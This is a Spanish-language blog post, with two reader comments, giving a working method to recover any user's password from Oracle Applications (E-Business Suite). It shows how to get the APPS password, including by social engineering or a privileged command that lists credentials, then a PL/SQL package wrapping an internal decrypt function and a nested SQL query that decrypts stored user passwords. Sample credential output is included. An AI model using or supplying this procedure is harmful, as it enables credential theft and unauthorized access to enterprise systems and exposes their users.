Obtener passwords de usuarios de Oracle Applications

Si bien esta vulnerabilidad ya tiene algo de tiempo publicada, y ya en algún momento Alfredo Mosqueda me había pasado el código, no había necesidad de haberlo utilizado hasta recién que hubo que trabajar con On Demand, teniendo poco tiempo para liberar un desarrollo y no mucha velocidad de respuesta de parte de Oracle, así que hubo que darle la vuelta volándose la contraseña de sysadmin. Esto funcionará en dev y test.

La vulnerabilidad

El asunto reside en que la contraseña de apps es la llave para encriptar las claves de usuario (por ello es que para cambiar la contraseña de apps es necesario ejecutar fndcpass y no solo cambiarla a nivel bd). Ésta en conjunto con el procedimiento almacenado para desencriptar los passwords permite obtener la contraseña de cualquier usuario del sistema. Para los detalles, ver este post en el blog de Johan Lowers.

Obtener la contraseña de apps

Si es una instalación en sitio, generalmente contamos con ella para el ambiente de desarrollo. De no ser así, utilizar la ingeniería social, ya depende de cada quien si lo consigue.

Para on demand, con unsuario de sistema operativo del ambiente objetivo, dev (d) o test (t) teclear lo siguiente (reemplazar amox por el nombre corto asignado a la implementación)

pbrun impdba password-manager [d|t]amoxi

Lo cual mostrará algo como lo siguiente

apps:OD3rgY4z
bolinf:G2pfA7xL
rac_accnt:RB2qgX7w
system:MH5qdW3a

Publicar la función para desencriptar

Crear el siguiente package en el esquema apps:

create or replace package amox_util
as
function decrypt(key in varchar2, value in varchar2)
return varchar2 ;
end ;
create or replace package body amox_util 
as
function decrypt(key in varchar2, value in varchar2)

return varchar2 
as 
language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
end;

Query para obtener el password de usuarios

Utilizar el siquiente query, el cual solicita el nombre de usuario y devuelve la contraseña:

SELECT
usertable.user_name
,(SELECT
amox_util.decrypt(UPPER((
SELECT(
SELECT
amox_util.decrypt(UPPER(
(SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual)
)
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
)
),usertable.encrypted_user_password)
FROM
dual
) AS encrypted_user_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper('&username')

2 comentarios:

  1. Hola a todos tengo una duda con respecto a las querys...
    Cuando ejecuto la ultima query para colocar el usuario y devolverme la password me da el siguiente error:
    ================================================
    Introduzca un valor para username: VISOR
    antiguo 29: usertable.user_name LIKE upper('&username')
    nuevo 29: usertable.user_name LIKE upper('VISOR')
    fnd_user usertable
    *
    ERROR en línea 27:
    ORA-00942: la tabla o vista no existe
    ================================================

    Yo soy administrador de este usuario y poseo la password encryptada, se podrá decodificar la pass encryptada para saber cual tiene?
    Muchas gracias.
    ReplyDelete
  2. Si es una isntacia de Oracle Applications? Esto no aplica para usuarios de base de datos.
    ReplyDelete

No spam